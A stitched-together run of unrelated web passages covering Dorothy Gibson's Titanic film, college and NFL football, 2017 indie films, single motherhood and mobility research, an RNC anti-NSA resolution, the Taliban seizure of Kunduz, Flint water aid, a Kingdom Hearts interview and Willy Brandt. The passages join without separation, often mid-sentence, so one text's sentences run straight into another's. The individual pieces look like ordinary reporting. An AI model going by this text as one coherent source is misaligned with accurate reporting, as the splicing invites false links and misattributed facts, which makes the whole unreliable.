Saved from the Titanic (1912). Alec B. Francis plays "Father" (left), Dorothy plays herself (centre) and John G. Adolfi plays "Ensign Jack" (right) Dorothy Gibson in(1912). Alec B. Francis plays "Father", Dorothy plays herselfand John G. Adolfi plays "Ensign Jack"
Only a few days after she returned to New York, Gibson began work on a film based on the disaster. The impetus may have come from Jules Brulatour, an Éclair Film Company producer with whom she was having an affair. According to Billboard magazine he sent "specially chartered tugboats and an extra relay of cameramen" to film the arrival of Carpathia. The footage was spliced together with other scenes such as Titanic's Captain Edward Smith on the bridge of the RMS Olympic, Titanic's sister ship, images of the launch of Titanic in 1911 and stock footage of icebergs. On April 22, the resulting newsreel was released as part of the studio's Animated Weekly series. It was an enormous success with sold-out showings across America. President William Howard Taft, whose friend and military aide Archibald Butt was among the victims of the disaster, received a personal copy of the film.
The success of the newsreel appears to have convinced Brulatour to capitalize further with a drama based on the sinking. He had a unique advantage – a leading actress who was a survivor and eyewitness to what had happened. Gibson later described her decision to participate as an "opportunity to pay tribute to those who gave their lives on that awful night." Jeffrey Richards |
suffered a major injury back in February, and it was suggested that it would keep him out for the season.
GP also says Julius Lewis could be back for this game. Defense is getting healthier. — PurpleMenace.com (@TCU_Rivals) October 18, 2016
Having depth back at cornerback will be massive for the defense moving forward.
All of this news should give the Frogs even more energy as they head to Morgantown for what could be their toughest game of the season to this point.You’ve seen “Lady Bird,” “Three Billboards,” and “Get Out,” but what about “Person to Person,” “The Blackcoat’s Daughter,” and “Frantz”? As always, the end of the year means a ton of indies and foreign films released over the last 12 months risk being left behind in favor of the big awards contenders. Don’t let that happen with these 20 gems. Click through the gallery for a list of 20 overlooked indies and foreign films released during 2017.
Elisabeth Subrin's feature directorial debut "A Woman, A Part" is a film so timely and relevant in the way it captures the current disenfranchisement of women in the film and television industry. Maggie Siff plays a popular television actress who is forced out of the industry and tries to reinvent herself back home. The movie sets the bar high for how to make a great feminist film about Hollywood.
Stéphane Brizé’s “A Woman’s Life” finds the prolific French filmmaker applying his ruggedly naturalistic style to Guy de Maupassant’s 1883 debut novel. The film is a very particular experience, told with consistency and without a whit of compromise. It’s not always exciting, but there’s something tremendously rewarding (and very sad) about the matter-of-factness of it all.
A24 has had success opening genre films such as “The Witch” and “It Comes At Night,” which makes the lack of buzz around “The Blackcoat’s Daughter” all the more unfortunate. Osgood Perkins’ icy debut is an effective blend of “Rosemary’s Baby” and “The Virgin Suicides,” full of chillingly muted performances, disquieting sound design, and a ton of atmospheric dread.
Executive produced by David Gordon Green, Amman Abbasi’s poetic rural directorial debut has a humanist shine that’s impossible to resist. The film follows a 13-year-old who copes with the death of his brother by joining a local gang. Shot in a boxy 4:3 aspect-ratio and buzzing with understated insect metaphors, “Dayveon” indebted to the rough poetic humanism of Andrea Arnold.
“Contemporary Color” is a documentary about David Byrne’s interest in color guard and his attempt to create a spectacular live show in 2015. To achieve his goal, Byrne brought together 10 of the continent’s best color guard teams with 10 of his favorite musicians and put on shows in arenas that are typically reserved for Beyoncé concerts and major league sports games.The result is a thrilling redefinition of what a concert documentary can be.
Dan Sickles and Antonio Santini’s “Dina” is a non-fiction film that think it’s a romantic-comedy, and it’s all the more enjoyable because of it. The documentary tells the blossoming love story between an suburban woman and a Walmart door greeter. It’s an unconventional and necessary look at the neurologically diverse.
François Ozon made headlines at Cannes this year for his sexually provocative new thriller “L’Amant Double,” but his best film in years actually arrived in the U.S. in March thanks to “Frantz.” The black-and-white gem is an atonishingly beautiful and inquisitive remake of the Ernst Lubitsch film “Broken Lullaby”, using it as a springboard for a profound look at alienation and grief.
A frequently angry call to action that’s shot in spare black-and-white, Justin Chon’s “Gook” follows two Korean-American brothers and an 11-year-old African American girl who must survive the fallout of the Rodney King verdict. The movie’s “Clerks”-meets-“Do the Right Think” vibe is hardly subtle, although that’s where the film gets its power from.
Matias Piñeiro’s first English-language effort is an incredibly clever riff on classic Shakespearian texts. The film follows a young woman adrift in New York while working on a translation of “A Midsummer Night’s Dream,” but Shakespeare mainly provides the framing device for a more tightly controlled narrative about alienation and living in transition. With “Hermia and Helena,” Piñeiro confidently grows into his own groove.
Petra Epperlein and Michael Tucker’s fascinating and necessary “Karl Marx City” is like a vaguely Guy Maddin-esque swan-dive into the mysteries of life behind the Berlin Wall and the traumas of surviving it. The documentary finds Epperlein journeying through the former East Germany and looking into her father’s 1999 suicide. It leverages one woman’s fear to exhume the paranoia that once defined an entire country.
So Yong Kim sensitively tracks an unexpected relationship in “Lovesong,” starring Riley Keough and Jena Malone. The smartest choice Kim makes is letting the sizzling chemistry between the two indie favorites guide the way. In Keough and Malone’s hands, this delicate relationship study becomes an intimate exploration of the fluid nature of friendship, identity, and sexual attraction.
“One Week and a Day” is Asaph Polonsky’s moving Israeli comedy-drama about family grief and getting high. The story follows a grieving father who copes with death by getting stoned, skipping work, and befriending his estranged neighbor’s son. Seldom has a screenplay so succinctly articulated the purgatory of profound loss.
Mind-blowing in the best possible way, “The Ornithologist” may not work for everyone, but those willing to embrace its puzzling ingredients will find a rewarding solution: further confirmation of a genuine film artist. The fifth narrative feature of Portugal’s João Pedro Rodrigues is a soul-searching slice of inventive storytelling, following the Homer-inspired voyage of a modern-day ornithologist named Fernando who inexplicably transforms into a revered Catholic saint.
Dustin Guy Defa, expanding on one of the most widely beloved short films of recent years, delivers a charmingly timeless ode to New York City in “Person to Person.” It’s a gentle summer breeze of a movie that checks in on a number of disparate characters just trying to survive an early fall day in the city. Defa threads together his characters’ stories like vignettes that would make a young Paul Thomas Anderson proud.
Jean-Luc Godard once wrote that all one needs to make a film are a girl and a gun. Kirsten Tan’s debut feature “Pop Aye” suggests that a guy and an elephant will serve just as well. “Pop Aye” is a kind of love story between an elephant and human, but it wisely never dips into cutesiness or sentimentality. It’s less a big-top circus and more a low-key character study.
Bruno Dumont’s “Slack Bay” feels very much like a surreal middle finger to French society. The film centers around a high society family being investigated for numerous disappearances around their seaside home. Shot with a high contrast palette and featuring gleefully over-the-top performances from the likes of Juliette Binoche, the film is Dumont’s most fun and polished work to date.
American-born French director Eugène Green’s smart and funny “Son of Joseph” opened in U.S. theaters at the start of 2017 and gave cinema its first satisfying title of the new year. The film follows an angsty teen searching for the identity of his missing father. As usual for Green, it’s both dense with ideas and disarmingly sweet.
The latest from “Stranger By the Lake” director Alain Guiraudie opened in January after debuting at the 2016 Cannes Film Festival. The film follows a dreamlike path as it tells the story of a filmmaker who must raise a child by himself while trying to find inspiration for his new film. Guiraudie once again crafts a puzzling and transfixing look at isolation and repressed sexuality.
Holly Hunter is currently earning Oscar buzz for her supporting turn in “The Big Sick,” but it’s really her lead performance in “Strange Weather” that proves she’s still one of the best actresses working today. Hunter stars as a grieving who sets out across the deep south for revenge. Also of note: “Strange Weather” is the sort of film that passes the Bechdel Test twenty times over.It's clear in America that family structure and poverty are intertwined: Nearly a third of households headed by single women live below the poverty line. And just six percent of families led by married couples are in the official ranks of the poor. Poverty, meanwhile, touches an astounding 45 percent of children who live without a father.
Recent research by Raj Chetty, Nathaniel Hendron, Patrick Kline, Emmanuel Saez and Nicholas Turner also found that intergenerational income mobility was lower in metropolitan areas with a larger share of single mothers, a bold-faced finding that touched off a new round of public debate over what this relationship means.
The researchers' findings on this front are summarized in this chart posted by Atif Mian and Amir Sufi on their House of Debt blog:
Atif Mian and Amir Sufi, houseofdebt.org
Each dot on that chart represents a single metro area, with local upward mobility clearly declining as the share of single mothers rises. "The statistical power of this one variable is stunning," Mian and Sufi write, in considering the link between family structure and income mobility (or inequality, as they frame it).
But they proceed with caution (bold emphasis below is mine):
Now, we are wading into some hugely controversial issues here. So it is crucial to be scientific about what this figure means. This is a correlation; it is not necessarily evidence of causation. It doesn’t mean that if we somehow paired up single mothers with a partner, then suddenly inequality would go down. Further, the channel through which inequality and family structure are related is complex. For example, the authors show that cities that have a large fraction of mothers that are single have less upward mobility even for families where both parents are in the home. So again, the channel is unlikely to be a direct effect of single mothers on inequality.
It's tempting to look at the tidy pattern above and conclude that the breakdown of marriage causes poverty, perpetuating inequality. As Mian and Sufi point out, your take on the causal direction here likely depends on your ideology. Conservatives have used this data to argue for the importance of marriage in lifting women and children out of poverty, as if the shortage of stable husbands were the source of the problem rather than one of its side effects.
Liberals argue, on the other hand, as sociologist William Julius Wilson has, that economic forces much larger than families have decimated urban communities and robbed many men of one of the prerequisites to a stable marriage: a job. By this thinking, the circumstances of poverty itself strain families. To suggest the opposite -- that frayed social values drive poverty -- is to point toward all of the wrong policy prescriptions, this argument says: Incentivize marriage. Teach family values. Just convince poor people to get married.
Mian and Sufi argue for more economic analysis of the "causal chain" here. But in the meantime, let's look at the explanation that, at the very least, the same underlying conditions may be creating single mothers and low social mobility in a city like Atlanta. That chart could easily be embraced by those convinced that "culture" is the problem here, that we should blame the prevalence of single mothers -- or the absence of fathers -- for the fact that poor children have little chance to move up in the world in some communities.
But that argument ignores what marriage might actually look like to a woman living in a neighborhood with high rates of poverty, unemployment and incarceration. It's true that marriage can bring stability and emotional benefits to the children of middle- and upper-class families. But that's not because the institution of marriage itself is universally beneficial. It's because certain kinds of marriages are beneficial, such as those between adults who don't have to worry about getting evicted, who can afford to pay their medical bills, who don't contend with the surrounding stresses of violence or joblessless or having to get to work without a car.
"The problem," Ohio State sociologist Kristi Williams recently told me, "is that there’s no evidence that the kind of marriages that poor, single parents enter into will have these same benefits."
Consider it that way, and a woman may not get married for reasons that have nothing to do with how much she values the institution. A man may not get married for reasons that have nothing to do with whether he believes in a "culture of marriage." In isolating culture and values as the source of the problem, we can miss the other fundamental ways in which poor households without married parents differ from better-off households with married parents.The Republican National Committee (RNC) has passed a resolution condemning the NSA’s mass surveillance, pushing back heavily on the actions of the security apparatus of the U.S. The resolution contains strong language in favor of privacy, the broad protections of the Fourth Amendment, and limited government.
This should be filed in the Snowden Effect folder.
Time got its hands on a full copy of the resolution, entitled “Resolution to Renounce the National Security Agency’s Surveillance Program.” The name is a decent summary of its content.
It calls the phone metadata program “an invasion into the personal lives of American citizens that violates the right of free speech and association afforded by the First Amendment of the United States Constitution.” The PRISM program is “surveillance of U.S. citizens on a vast scale.” And bulk collection, the “mass collection and retention of personal data is in itself contrary to the right of privacy protected by the Fourth Amendment of the United States Constitution.”
And no, that’s not copy from a small-time blogger on a site advocating for Internet rights. The Hill wrote that the “RNC position represents an increasingly libertarian turn for the GOP.”
The resolution goes on to call Republican members of the House and Senate to:
[E]nact legislation to amend Section 215 of the USA Patriot Act, the state secrets privilege, and the FISA Amendments Act to make it clear that blanket surveillance of the Internet activity, phone records and correspondence — electronic, physical, and otherwise — of any person residing in the U.S. is prohibited by law and that violations can be reviewed in adversarial proceedings before a public court […] [C]all for a special committee to investigate, report, and reveal to the public the extent of this domestic spying and the committee should create specific recommendations for legal and regulatory reform [to] end unconstitutional surveillance as well as hold accountable those public officials who are found to be responsible for this unconstitutional surveillance. […] [T]o immediately take action to halt current unconstitutional surveillance programs and provide a full public accounting of the NSA’s data collection programs.
That’s an incredible list. The reforms listed above would end the legal framework that allows for much of the NSA’s mass surveillance activities. It doesn’t extend protections to foreign citizens, notably, something that President Obama recently nodded towards as a potential policy choice.
Calling for a committee to dig into the NSA harkens directly back to the Church Committee era, though the efficacy of that effort long-term has been a topic of discussion.
The RNC’s condemnations are broad, as are its prescriptions. The RNC’s resolution should not be taken as indicative of the mood of the larger Republican caucus. There are many Republicans who believe the NSA’s programs to be both legal and critically important to the nation’s security.
Still, the RNC is no small player in Republican politics, and so its words carry weight; the above could be cover for those previously lying low on the issue to come out in opposition to the NSA’s bulk data programs.
It will be particularly interesting to see what Rep. Mike Rogers has to say on the resolution. Rep. Rogers, a Republican, is chairman of the Permanent Select Committee on Intelligence, and is one of the loudest defenders of the NSA.
(Recently, Rep. Rogers has pushed theories that Snowden’s eventual landing in Russia wasn’t accidental, implying that he had prior Russian help. There have been consistent rumors floated that Snowden worked with foreign powers to execute his theft, and leaking of top-secret government documents. So far, to my knowledge, none have provided evidence of any substance to back such allegations. But as far as smear campaigns, it is likely an effective strategy. Snowden dismissed the allegation.)
There is a decent subset of Democrats — Rep. Amash, et al. — who are opposed to the NSA’s bulk data programs that target American citizens. To have the RNC come on board in this way could swing those in favor of limiting the National Security Agency into the majority.
Top Image Credit: FlickrEach year, we like to run a series of posts called "90-in-90." The idea is that we'll take a look at every player on the roster, from the very bottom to the top and break them down a few ways. This roster will certainly change, and some days we'll have more than one so it's not exactly 90 players in 90 days. At this point, it's a name we're keeping around for street cred.
Replacing the production of a player like inside linebacker NaVorro Bowman is an impossible task, unless the San Francisco 49ers managed to, say, borrow Luke Kuechly from the Carolina Panthers. That's not going to happen any time soon, though, so for now, we'll have to rely on who is currently on the roster.
Last season, Michael Wilhoite was the next man up at the inside linebacker position. He got some snaps here and there, but he found his way onto the field in a prominent role when Patrick Willis was injured for two games. Wilhoite started both games, and he was capable, if nothing else.
Wilhoite didn't make headlines and he didn't put up the raw stats, but he stepped into some of the biggest shoes in the NFL and he didn't make mistakes. Gone was the legendary play-making ability of Willis, but a lot of the speed, tackling ability and awareness was still there. He was solid, and even above-average. Who knows if that will hold up over the course of more games -- he can only play when and where the 49ers play him.
With Wilhoite on the field, the 49ers allowed one touchdown in wins over the St. Louis Rams and the Houston Texans, and he also managed 20 tackles while he was on the field. I don't think anybody here is disappointed with his performance. They shouldn't be.
Why he might improve:
I suppose you could argue that filling in for the best inside linebacker in the game, not screwing up and generally being told you've done a good job would imply that there's not a whole left to improve. Wilhoite as all over the field doing the things Willis usually does, and doing them well. But improvement is still possible: he's been preparing this offseason as though he's going to be the starter, for what could wind up being half a season. The coaching staff feels good about him and have been giving him every opportunity to shine. Improvement should honestly be expected.
Why he might regress:
Willis will be moving to Bowman's role, meaning Wilhoite will be filling in for the same role he did last season, so at the very least, the expectation is that he'll play as well as he did. But over the course of eight games, there's a lot of potential for Wilhoite to screw up due to his lack of experience at this level. He'll have more snaps and more opportunities to fall short of expectations.
Odds of making roster:
While Wilhoite's job as the primary backup isn't set in stone given the drafting of Chris Borland and guys like Shayne Skov, I don't think the 49ers will part ways with him outright, not with Bowman's injury. His spot on the roster is secure.Media playback is unsupported on your device Media caption Footage showed prisoners, freed by the Taliban, running out of the prison in Kunduz
The Taliban have overrun the northern Afghan city of Kunduz, taking control of most areas and freeing hundreds of prisoners from its jail.
Hundreds of militants stormed the city before dawn, quickly seizing key buildings and advancing on the airport.
The government says it has sent reinforcements to Kunduz and fighting is ongoing.
Kunduz would be the first provincial capital taken by the Taliban since they lost power in 2001's US-led invasion.
The attack came a day before the first anniversary of President Ashraf Ghani's unity government.
Kunduz is strategically important as it acts as a transport hub for the north of the country.
It also has symbolic significance for the Taliban as it was their former northern stronghold before their government was overthrown.
"With the capturing of the police compound and governor's office in Kunduz, the whole province fell to our hands and our fighters are now advancing towards the airport," Taliban spokesman Zabihullah Mujahid said on his Twitter account.
Image copyright AP Image caption Smoke at a police station in Kunduz. The province has seen a number of attacks since April
Image copyright AP Image caption Prisoners freed by the Taliban were seen walking through the streets of Kunduz
Image copyright AFP Image caption The government says its forces in Kunduz are being reinforced
A picture on the same account purportedly showed fighters at a roundabout in the city centre raising the Taliban's white flag.
Later, interior ministry spokesman Sediq Sediqqi confirmed that "most of Kunduz city" was controlled by the Taliban, and said Afghan forces were regrouping at the airport.
A Taliban statement called the operation in Kunduz "an immense conquest" and urged their fighters to protect the local population.
The statement said the government in Kabul "should openly admit its defeat".
Earlier, the government admitted that it had lost control of parts of the city. It said at least 25 militants and two Afghan policemen had been killed and that reinforcements had been dispatched.
Analysis: Dawood Azami, BBC World Service
This attack is one of the most serious security breaches since the start of the Taliban insurgency 14 years ago. But the Taliban's main challenge will now be to hold the city.
Kunduz has a huge strategic significance as it is considered a gateway to Afghanistan's northern provinces and shares a border with Tajikistan, Afghanistan's Central Asian neighbour.
The Taliban already control huge chunks of the province's rural areas, where the majority of the population live. The insurgents have intensified their fighting in the province over the past two years.
They are the dominant militant group in the province, with an estimated 2,000 fighters. But there are also reportedly hundreds of foreign fighters associated with al-Qaeda, so-called Islamic State and the Islamic Movement of Uzbekistan (IMU).
The Afghan security forces are stretched thin as they deal with multiple attacks all over the country.
Bad governance in Kunduz is also a key problem. Incompetence and intimidation by some local officials have alienated many in the province.
Kunduz police spokesman Sayed Sarwar Husaini told the BBC's Mahfouz Zubaide that militants had captured the jail in Kunduz and freed about 500 prisoners, including members of the Taliban.
One of the freed prisoners told the BBC: "It was about 4pm when the Taliban entered the jail and started fighting with police. After a few minutes the police escaped and the Taliban fighters opened all the cells and all the prisoners rushed out."
He said he saw Taliban armed with small and heavy weapons in the streets outside.
Media playback is unsupported on your device Media caption The Afghan government says several militants and two policemen have been killed
Many government officials are said to be trying to flee via the city's heavily fortified airport.
Kunduz province has seen a number of attacks since April, with the Taliban joining forces with other insurgents.
Militant violence has increased across Afghanistan since the departure of most US and Nato forces last year.The White House is allocating $80 million in federal assistance to help families in Flint deal with their water crisis, U.S. Sen. Debbie Stabenow said in a press release.
"Our children should not have to be worried about the water that they're drinking in American cities. That's not something that we should accept," President Obama said in a meeting Thursday with 250 mayors at the White House.
In those remarks, he referred to the situation in Flint as an "inexcusable situation."
"In last month's bipartisan budget agreement, we secured additional funding to help cities like yours build water infrastructure," Obama told the mayors. "And we're going to have that funding available to you by the end of next week, and that includes more than $80 million for the state of Michigan."
That's considerably more than the $5 million figure announced Saturday, when Obama officially declared the Flint water crisis to be a federal emergency.
The announcement of additional help comes a day after Gov. Rick Snyder urged Obama to upgrade his declaration to a federal disaster, which would free up more funds.
"I want to thank President Obama for quickly responding to our request for federal assistance," Stabenow said in her statement. "While the State of Michigan must take the lead in making things right for Flint families, I am committed to continuing to do everything I can to make sure the maximum amount of federal help is available as quickly as possible."
Flint changed its water source from Lake Huron water purchased from the Detroit water system to the Flint River in April 2014, a decision made while the city was being run by a state-appointed emergency manager.
State regulators never required that the river water be treated to make it less corrosive, causing lead from plumbing and pipes to leach into the water supply.
Even though the city reconnected to the Detroit water system in October, local officials have advised Flint resident not to drink city water unless they are using a lead-clearing filter.
Research from Hurley Dr. Mona Hanna-Attisha detailed the rise in blood lead levels in children who drank Flint River water for as long as 17 months.
Snyder unveiled a $28 million plan Tuesday night during his State of the State address to combat the city's water crisis. The plan allocates state funding to six departments and would enable the state to increase National Guard efforts, increase nurses in schools and replace fixtures in some public places.
Obama met with Flint Mayor Karen Weaver on Tuesday to discuss the city's water crisis.
Julie Mack is a reporter for MLive.com. Email her at jmack1@mlive.com, call her at 269-350-0277 or follow her on Twitter @kzjuliemack.Japanese publication Game Watch have conducted an interview with Tai Yasue, the co-director of the Kingdom Hearts series, to discuss Kingdom Hearts HD 2.5 ReMIX following its appearance at E3 2014, along with a small mentions of Kingdom Hearts III.
A lot was discussed and revealed in this interview, including, but not limited to:
- Work on HD 2.5 ReMIX started in Spring 2013
- Mirage Arena (now single player) has had its battle movements and AI regulated, plus a challenge mode component added, where you can receive medals and bonuses for clearing
- A "secret episode" was added to the Re:coded movie (which is 3 hours long), which will connect the "missing links" of the other Kingdom Hearts titles
- You will receive a custom PS3 theme for each title cleared
- You will receive "additional things" for continuing on from KH1.5
- When asked about the possibility of the HD collections coming to PS4 or Vita, Yasue said that it's hard to comment, and right now it's only for PS3-- but since 1.5 and 2.5 are first developed on the PC and then for other platforms, it is technically possible, and they will keep listening to fans
- The KH3 teaser shown at the end of the E3 2014 HD 2.5 ReMIX trailer is the beginning of KH3, and talks about the Keyblade War. It is central to the story of KH3
@sqexgal has posted a full translation of this interview, and thanks to her, it can be read below.
- Following Kingdom Hearts 1.5, Kingdom Hearts 2.5 is in it’s final stages of development. With the know-how acquired with KH1.5, was developing KH2.5 that different? Was it easier? Or on the other hand, was it more difficult?
Yasue: When we started KH1.5, we had trouble figuring out just how we were going to HD-ify it, but by the time we approached KH2.5 we had it figured out. Technically it’s better, but the staff themselves feel more reliable too. (Laughs) I feel like the team is accustomed and I don’t have to worry too much. Things went smoothly.
However, as a creator there are things that I want to see happen too. If time allows, there are parts I want to elaborate more on. As a result, KH2.5 feels more extensive. As a whole, programmers, designers, UI designers, effects people, etc., basically everyone did their part in carefully remaking it. We really pushed each other. (Laughs)
- It sounds like you had an “if we can do it, we will” kind of attitude.
Yasue: You could say that. We pushed the textures to the limit of the PS3’s capabilities. It really made the programmers crazy. We HD-ify to the max of the PS3’s potential.
- Were there things that you fussed over specifically?
Yasue: Well to start, both KH2 and BBS are games with good reputations, so I figured we’d work without changing their charms. I wanted to leave what you see on screen the same, but prettier. The original KH2 had a screen ratio of 4:3, but now with a 16:9 ratio it feels more open.
BBS was for PSP so it already had a 16:9 ratio, but we made a lot of necessary adjustments to the polygons and textures. For example, Keyblades seem kind of thin in the PSP version, so we made them appear thicker. Being fastidious like this really improves the quality. We especially spent a lot of time making all three playable characters, Aqua, Terra, and Ventus, look their best.
- Under what kind of structure does development take place?
Yasue: The Osaka team does the mother lode of work relating to KH2.5 and KH3, while cooperating with Tokyo staff. They are working on KH3 while working on KH2.5. There are staff working on KH3 that are pretty involved with KH2.5 as well. Programmers working on KH3 and KH2.5 are completely separated, however designers and planners related to cutscenes etc. work on both.
- It sounds like they work fluidly for such a large team.
Yasue: They do. It’s more efficient to make titles in the Kingdom Hearts series as a team since many people have inherited know-how they can share with each other.
- Do you feel like it’s a unique structure or rather, a better way of doing things?
Yasue: I think that it’s good since everyone motivates each other to keep busy in high spirits. You could say that working as a team keeps productivity consistently high. Normally when one thing ends, that’s one conclusion, but I feel like this isn’t the case, we keep moving. In that sense, no one ever rests. (Laughs) Lately whenever I talk to the character section leader, he stares at me like a deer in the headlights. (Laughs)
Also, when we’re making KH3, it’s pointless if we don’t understand where the series’ merits are. It’s why the new people added to the team come along knowing the merits of the first KH and KH2 as well as what was good about BBS. It’s an environment where they can inherit invaluable skills and knowledge.
- It seems in many cases specifically planners are working on both titles, must they have a good grasp on the details of the storyline?
Yasue: Of course that’s necessary. Since Nomura depicts such a terribly grand storyline, even members of the development team sometimes have trouble keeping track. Therefore KH1.5 and KH2.5 are being put together is so it’s easy to get a good grasp of what’s going on. We wanted players to relive these titles on the PS3 so they could easily grasp the foreshadowing presented in the past works.
- Obviously KH1.5 and KH2.5 are considered prerequisites for players of KH3, are they necessary for the development team too?
Yasue: When we started the KH3 project, we were also starting the plans for KH1.5 and KH2.5 too. There are staff who haven’t played the series, as well as those who haven’t played since their original release, so the remixes are a refresher for the team too.
- KH1.5 and KH2.5 envelop 3 games each, and if you include the 3DS title, Kingdom Hearts 3D Dream Drop Distance, that’s 7 titles total. You don’t see stories that are spread over so many titles very often.
Yasue: It really is expansive, so it’s tough to grasp. But, that’s also one of it’s merits. The more you see of the past, the more you’ll understand why things happened in the present. I think it’s fun to put everything together in your head. I think it’s something player’s enjoy together.
- About how long has KH2.5’s development period been?
Yasue: Programmers started working spring of last year. We started with researching the data and structure of KH2 and BBS, and then we built the foundation for the remake. Around fall the designers and planners were working on it too and we were in the flow of HD-ifying.
- Was it easy to prepare the original KH2 data for use on the PS3? Did mishaps happen like losing original data or it being unusable on other hardware?
Yasue: Regarding that, we were able to use KH2’s data. The original data had been made extremely detailed. However, it’s still necessary to treat it before putting it on PS3, adding details to the characters, background scenery, and textures. I think in comparison, KH2.5 looks exceptionally beautiful. Like I mentioned previously, the screen is wider, so the gameplay has inherently improved, for example it’s easier to see an attack approaching from the side in battle.
- I had a chance to play it, and I felt like the redone textures look fantastic.
Yasue: If we’re talking about BBS, the texture data of the characters is about 4 times the original. The data for KH2 isn’t that different, but nevertheless all of the textures were retouched.
- I’m sure that when you HD-ify a game, the impressions about the original version are bound to change. Things like, “I can see too much now!” or “I can see that the facial nuances have changed somewhat.” What do you think about that?
Yasue: We prepared in anticipation for that kind of response. Particularly regarding the character’s faces, we were very careful to retouch without changing their expressions. Part of Kingdom Heart’s charm is the non-realistic graphics and Disney animation type depictions. Even when we raise the graphic quality, our concern isn’t to make things more realistic, but rather we aim to have smoother gradations, brighter colors, and keep the Disney-esque merits.
- We talked about the screen ratio changing in the HD version, but one of the other issues that cropped up was that since more of the screen was visible on the sides, the cutscenes unintentionally showed things they weren’t supposed to. How was that handled? Were there a lot of scenes like that?
Yasue: Yes, since the screen ratio change in KH2 was a big difference, there were plenty of spots we needed to change. Spots where the effects were lacking, animation was suspended, or the menu didn’t appear at all, etc.
- How was working on different hardware? Speaking from the programming side, were you able to transplant the shaders smoothly?
Yasue: We were able to inherit the structure itself as is and we made it with the intention of retouching things in detail rather than just boosting the original presentation. For example, the KH3 shaders being made for the PS4/Xbox One are altogether different, we didn’t add a lighting mechanism to KH2.5, the original data is reproduced and retouched.
- I’m sure when you brought BBS, originally a PSP game, to the PS3 there was a lot of spec room for improvement. Did you come across any hardware restrictions with this HD remix? Or were you able to improve the PSP quality base to the utmost?
Yasue: That’s right. Like with KH2, we aimed to use the PSP data as a base and then increase the resolution and amount of texture data. We retouched as much as the PS3 could handle. While the fundamental structure didn’t change, we increased the quality as much as possible within the PS3’s limits.
- How about the loading timing and frequency?
Yasue: That hasn’t really changed compared to the original. Just like the original version, the loading time exists while the PS3’s memory is being maximized to create the best quality image.
Back when we were doing trial and error on KH1.5, the programmers were really troubled by this. This time the know-how acquired from that experience helped work go more smoothly, so to that extent it was easier and allowed designers to do more within the limits.
- Have the game controls and systems become easier to use than the original?
Yasue: BBS certainly changed, since it was originally on the PSP. We arranged the controls to suit the PS3, making the camera easier to use, etc. The PS2 and PS3 operability are close to each other, so there aren’t any big changes to KH2.
- BBS had a world called “Mirage Arena” where players could use multiplayer, is that still the case?
Yasue: We’re redone the Mirage Arena so it’s an enjoyable place in singleplayer mode. We’ve regulated the battle movements and AI as well. We’ve also put in a challenge mode component, where you can receive medals and bonuses for clearing.
- The Nintendo DS title Kingdom Hearts Re:coded is being remade into an HD cutscene compilation like 358/2 Days was in KH1.5, could you tell us more about that?
Yasue: Compared to 358/2 Days, there is more footage in this compilation. 358/2 Days had about 2 hours worth, but Re:coded is about 3 hours long. We had originally planned for it to be shorter, but.. it just kinda grew and grew. (Laughs)
One of |
t learned Norwegian and Swedish. Brandt spoke Norwegian fluently, and retained a close relationship with Norway. [ citation needed ]
Willy Brandt was born Herbert Ernst Carl Frahm in the Free City of Lübeck ( German Empire ) on 18 December 1913. [3] His mother was Martha Frahm (16 March 1894 – 3 August 1969) [ citation needed ] a single parent, who worked as a cashier for a department store. His father was an accountant from Hamburg named John Heinrich Möller (1887–1958) [4] whom Brandt never met. As his mother worked six days a week, he was mainly brought up by his mother's stepfather, Ludwig Frahm (1875–1935), and his second wife, Dora. [ citation needed ]
Brandt became the chairman of the SPD in 1964, a post that he retained until 1987, longer than any other party chairman since the founding of the SPD by August Bebel. Brandt was the SPD candidate for the chancellorship in 1961, but he lost to Konrad Adenauer's conservative Christian Democratic Union of Germany (CDU). In 1965, Brandt ran again, but lost to the popular Ludwig Erhard. Erhard's government was short-lived, however, and in 1966 a grand coalition between the SPD and CDU was formed, with Brandt serving as foreign minister and as the 5th Vice-Chancellor of Germany.
At the start of 1961, U.S. President John F. Kennedy saw Brandt as the wave of the future in West Germany and was hoping he would replace Konrad Adenauer as chancellor following elections later that year. [8] Kennedy made this preference clear by inviting Brandt, the West German opposition leader, to an official meeting at the White House a month before meeting with Adenauer, the country's leader. The diplomatic snub strained relations between Kennedy and Adenauer further during an especially tense time for Berlin. [9] However, following the building of the Berlin Wall in August 1961, Brandt was disappointed and angry with Kennedy. Speaking in Berlin three days later, Brandt criticized Kennedy, asserting "Berlin expects more than words. It expects political action." He also wrote Kennedy a highly critical public letter in which he warned that the development was liable "to arouse doubts about the ability of the three [Allied] Powers to react and their determination" and he called the situation "a state of accomplished extortion". [10]
At the 1969 elections, again with Brandt as the leading candidate, the SPD became stronger, and after three weeks of negotiations, the SPD formed a coalition government with the smaller Free Democratic Party of Germany (FDP). Brandt was elected Chancellor of the Federal Republic of Germany.
Foreign policy Edit
As chancellor, Brandt developed his Neue Ostpolitik (New Eastern Policy). Brandt was active in creating a degree of rapprochement with East Germany, and also in improving relations with the Soviet Union, Poland, Czechoslovakia, and other Eastern Bloc (communist) countries. A seminal moment came in December 1970 with the famous Warschauer Kniefall in which Brandt, apparently spontaneously, knelt down after laying a wreath at the monument to victims of the Warsaw Ghetto Uprising.[11] The uprising occurred during the German military occupation of Poland, and the monument is to those killed by the German troops who suppressed the uprising and deported remaining ghetto residents to the concentration camps for extermination.
Time magazine in the U.S. named Brandt as its Man of the Year for 1970, stating, "Willy Brandt is in effect seeking to end World War II by bringing about a fresh relationship between East and West. He is trying to accept the real situation in Europe, which has lasted for 25 years, but he is also trying to bring about a new reality in his bold approach to the Soviet Union and the East Bloc."[12] President Richard Nixon also was pushing détente on behalf of the United States. The policies of Nixon and Henry Kissinger, after some initial suspicion, amounted to co-opting Brandt's Ostpolitik.[13]
In 1971, Brandt received the Nobel Peace Prize for his work in improving relations with East Germany, Poland, and the Soviet Union. Brandt negotiated a peace treaty with Poland, and agreements on the boundaries between the two countries, signifying the official and long-delayed end of World War II. Brandt negotiated parallel treaties and agreements with Czechoslovakia.
In West Germany, Brandt's Neue Ostpolitik was extremely controversial, dividing the populace into two camps. One camp embraced all of the conservative parties, and most notably those West German residents and their families who had been driven west ("die Heimatvertriebenen") by Stalinist ethnic cleansing from Historical Eastern Germany, especially the part that was given to Poland as a consequence of the end of the war; western Czechoslovakia (the Sudetenland); and the rest of Eastern Europe, such as in Romania. These groups of displaced Germans and their descendants loudly voiced their opposition to Brandt's policy, calling it "illegal" and "high treason".
